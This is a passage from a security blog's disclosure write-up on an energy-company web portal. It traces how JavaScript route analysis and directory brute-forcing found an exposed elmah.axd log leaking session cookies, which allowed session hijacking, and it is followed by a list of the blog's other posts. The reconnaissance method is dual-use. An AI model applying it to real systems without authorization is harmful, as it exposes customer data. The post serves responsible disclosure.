There were your typical third-party dependencies such as select.js however there were more scripts that appeared to be proprietary to the application. Further examining these scripts it was revealed that the application’s frontend is powered by Knockout.js which is a framework that promotes the Model-View-ViewModel pattern.

The Javascript was then dug through to find any endpoints to yield a larger attack surface. Especially as it was seen that the application was frontend heavy there was hope that maybe a route can be found that would return information about a program. After further investigation, there were several variations of endpoints being invoked by the Javascript found. These included your typical AJAX calls, either directly or the route being passed to a function that would fire off the request.

Furthermore what was more interesting is that a lot of these routes started with anchor # tags meaning they would not reach the server-side but rather intended for the frontend as the client-side router would pick it up.

Here is an example of a snippet:

if (currentlocation.indexOf("workflowstep") > 0 || currentlocation.indexOf("etoken") > 0 || currentlocation.indexOf("statuscheck") > 0) {
  targetUrl = "#status/statuscheck?programId=" + AppState().data.vars["programId"];
}
else {
  targetUrl = "#enrollment/?programId=" + AppState().data.vars["programId"];
}

Writing a quick Go script that would parse all the Javascript looking for matches that followed the pattern #anchor/path/ yielded the following results:

#status/statuscheck?programId=
#enrollment/?programId=
#enrollment/default?programId=
#enrollment/customerinformation?programId=
#workflowstep/installationresults?programId=
#enrollment/customerinformation?programId=
#workflowstep/installationresults?programId=

Attempting to load the first route, this resulted in the frontend making a request to load the content of /onlineapp/Content/ui/en-us/status/_master.htm?_=1632279783447 as it was shown in the Network tab of the Chrome DevTools.

For the sake of brevity purposes, the static page which was loaded had its own Javascript embedded which was invoking an additional API call to a route that would return whether a Program ID was valid or not. By examining the Javascript and constructing a valid API call, valid Program Ids were then discovered as they followed a sequential order. Using these Program Ids and additional routes discovered in the application, it was possible to leak the name of employees and contractors. Information such as the employee’s name, email, title, and phone number were discovered however after speaking with the vendor they confirmed that this was intended as the application administrator can toggle a feature that would disable this information from being returned. However, due to this being intended, this will not be explored within this post.

With the knowledge of the /onlineapp/Content/ui/en-us/status directory, a quick directory bruteforce was ran using the quickhits.txt wordlist which returned a surprising finding…

Note: This path could have been discovered by recursive directory bruteforcing. However, the sections regarding the Javascript were included to show how it was originally discovered

-
elmah.axd               [Status: 200, Size: 31290, Words: 1398, Lines: 529]
-

elmah.axd returned a 200 valid status code. At first, it was thought that this may be the result of some WAF however when browsing to the path, the following was shown:

elmah.axd is essentially trace.axd's younger sibling. Unlike trace.axd which logs every request made to the application, elmah.axd only logs those which cause the application to throw an error. However just like trace.axd, elmah.axd logs the raw HTTP request which includes any session cookies. Both trace.axd and elmah.axd are used for debugging ASP.NET applications. The interesting thing behind both is that remote access is disabled by default meaning that to view the logs you would need to be connecting from the local IP Address. To read more about how security works within elmah, check out this great resource.

A snippet that displays helpful debugging information about the application including the contents of the HTTP request:

It was rather interesting that elmah.axd was discovered at this specific endpoint as access was forbidden in several other directories. The most likely reason behind this could be that this specific subdirectory may be a virtual directory that has its own web.config which was overriding the parent web.config that refused remote access to elmah.axd.

Session cookies found in the logs:

There may also be cases where the stack trace may contain sensitive information like customer info as shown below:

With the ability to obtain the session cookies, an attacker is now able to leverage session hijacking resulting in an authentication bypass.

Being able to access the portal as an authenticated user, an attacker can now:

Search & View Customer Information
Submit Invoices on behalf of Employees
Access even a larger attack surface:
and much more…

Due to lack of time and the urgency of the authentication bypass, the engagement was halted and testing was shelved for later.

Vendor Response

Once it was discovered that an unauthenticated attacker would have the ability to access vast amounts of customer information and especially due to the policies and procedures an energy company is required to follow, it was decided that the application will need to be taken offline immediately and a meeting with the vendor (DirectTechnology) was arranged.

As the fix was minimal (adjusting the remote configuration settings of elmah.axd), the vendor was able to fix the issue literally within minutes during the call. Furthermore, they’ve mentioned that they will implement additional tests to prevent this sort of low-hanging fruit from regressing in the future.

The swift response from the vendor is greatly appreciated and deserves praise.

Affected Companies

Once the vulnerability was identified, it was decided next to discover whether any additional EECP instances were exposed to the internet. By employing a combination of passive techniques, it was found that there were several energy companies at risk.

These companies include:

Conclusion

The goal behind this blog post was to discuss some of the challenges that large organizations face within appsec. Furthermore, some experimental solutions including a hybrid balance of automation and human effort while providing a real-world supporting example.

Thanks for reading.

Ingredous Labs

Vulnserver - Portable DEP Bypass

Preface

Building the ROP Chain

Determining the API to use to bypass DEP

Preserving the Stack

Dynamically obtaining the address of VirtualProtect

Overriding the first placeholder

Quick Detour

Back to overriding the first placeholder

Overriding the second and third placeholders

The Power of the neg Instruction

Emulating the neg Behavior

Intricacies of the sub Instruction

Overriding the rest of the placeholders

Stack Pivot

Conclusion

QuoteDB Exploit Challenge - Trials & Tribulations

Preface

Mistake #1 - Misunderstanding Format String Vulnerabilities

Write-Primitive Rabbit Hole

Cracking the Code

Mistake #2 - Ignoring application functionality

Conclusion

Tracing the KNET SEH Overflow (CVE-2005-0575)

Preface

Exploitation

Conclusion

Deobfuscating a Java Game Client

Introduction

Tools

Preface

Starting the deobfuscating journey

Class Visualizer (Static)

Leveraging Heuristics (Static)

Hardcoded Values

Helper Methods

Debugging with IntelliJ Idea (Dynamic)

Conclusion

BSides Prishtina 2023 - Building Bots for Java Games - A Beginner's Guide

Introduction

Slides

Video Presentation

Extension

ECDSA Nonce Reuse

Preface

ECDSA Crash Course

Realistic Proof of Concept

Conclusion

OAuth Research Notes

Preface

Notes

Conclusion

Writing a Burp Extension which uses grpc under the hood

Introduction

Scaffolding the Burp Extension

Boilerplate Code

Pitfalls Encountered

Hijacking Over 100k GoDaddy Websites

Summary

Impact

Deep Dive

Credits

Timeline

7-Peat - Hacking 7 Power Companies

Introduction

Motivation

Finding

Vendor Response

Affected Companies

Conclusion

The Power of the `neg` Instruction

Emulating the `neg` Behavior

Intricacies of the `sub` Instruction